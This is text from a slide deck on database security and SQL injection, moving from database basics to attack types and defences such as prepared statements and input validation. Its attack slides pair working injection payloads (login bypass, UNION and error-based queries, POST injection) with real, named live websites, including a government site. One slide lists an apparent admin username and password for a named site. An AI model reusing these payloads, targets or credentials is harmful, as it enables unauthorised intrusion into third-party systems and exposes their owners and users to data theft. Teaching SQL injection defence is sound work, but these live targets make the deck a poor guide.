DATABASE & DATABASE SECURITY

BYREHAN MANZOOR

What actually is a database

Code and Filing concept

+

History of Database

Major Database Vendors

Interaction with Database

How we Interact (Direct Queries)

Custom defined functions

Stored Procedures

Stored Procedures

Integration with Languages

Static Apps

Dynamic Apps

Need in CMS

How We Integrate

Well that is the real question how we integrate.. It create a problem when we don’t attach app with a database correctly.. Code is important

Contents continued..

Database Attacks What is a Database Attack Explanation OWASP Rating (damage rate) Destruction of SQL injection

History Reviews Recent bidding in underground

Database Attacks

Excessive Privileges Privileges abuse Unauthorized privilege elevation Platform Vulnerabilities Sql Injection Weak Audit Denial of Service

Top 10 vuln by OWASP

Destruction of SQL Injection Attack Heartland Payment Systems

This New Jersey payment processing firm lost data on tens of millions of credit cards in an attack in 2009. Around 175,000 businesses were affected by the theft.

TJXMore than 45 million people had their credit card details stolen and some experts said the actual figure was likely to be closer to 94 million.

Recent Bidding in Underground

Login on Live Sites

http://www.equinet.ch/fr/gestion/login.php 1' OR '1'='1

http://lionsclubofwashim.co.in/admin.php 1' OR '1'='1

admin.axilbusiness.in 1' OR '1'='1

http://www.anemos.in/admin/ 1' OR '1'='1

Query Code

CODEselect username, password from admin where username='"+txtUserName.Text+"' and password='"+txtPassword.Text+"';

Union based attack

http://greenforce.com.pk/page.aspx?page_id=24 +UNION+ALL+SELECT+null,null,@@version,null,null,null,null-- -

http://www.philatourism.com/page.aspx?id=-3 UNION ALL SELECT table_name,null,null,null,null,null from information_schema.tables—

http://www.sharan.org.uk/newsdetail.aspx?ID=-7 union all select '1',null –

Codeselect * from tblName where id=‘”+RequestQueryString[‘id’]+”’;

Error Based Attack

http://www.vdjs.edu.in/CMS/ContentPage.aspx?id=21 and @@version>1-- -

http://www.mission-education.org/resourcelist.cfm?audience_ID=5 and 1=convert(int,@@version)-- -&category_id=2

http://www.grabbbit.com/Product.aspx?console_id=3' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='adminlogin' and column_name not in ('id','userid','password','admin_role_id')))--&type=Preown

http://www.grabbbit.com/admin/login.aspx userid admin password grabbbit$

Code Select column1,column2,column3, from table1 join table2 on table1.column1 =

table2.column1 where id=‘”+RequestQueryString[‘id’]+”’;

Blind Attack

fgcineplex.com.sg/Images/slideshow/sizzlingsoul.php

Codewell query is same here like union but problem is with labels here.. Their designer could are not picked.. Either they are also stored in database or they they cannot work with union

POST Sql Injection

url: http://haryanapolice.gov.in/police/pressreleases/s

earch.asp

Post text1=rummy'&text2=11/11/2010&SUBMIT=sea

rch

Codeselect * from tablename where text1= Request.Form[“text1"].ToString() and text2= Request.Form[“text1"].ToString();

Why Sql Injection Possible

Who is responsible Database or Programmer

Why Not To Blame Database Database Secure Nature Lack of awareness No research base study Lack of interest Non professional coders

Detection of SQL Injection

Manual Check Why How By Whom

Automated Check Tools Scanners

Securing From SQL Injection

Learn About it Firewalls By Code Don’t Disclose any parameter as possible Giving session user least possible rights Blacklisting evil keywords for the session

user User input validation Using prepared statements

More on Firewalls

USE Of Firewall As it is Customized Buffer overflows Null bytes Difference between a normal user and

Hacker

Buffer Overflows

Live example

https://www.qmensolutions.com/remote_support_packs.php?packs=9%27--%20-

Bypassing from keyword

Live Hack Of A Website

http://aquaservices.co.in/

Conclusion

Although databases and their contents are vulnerable to a host of internal and external threats, it is possible to reduce the attack vectors to near zero. By addressing these threats you will meet the requirements of the most regulated industries in the world.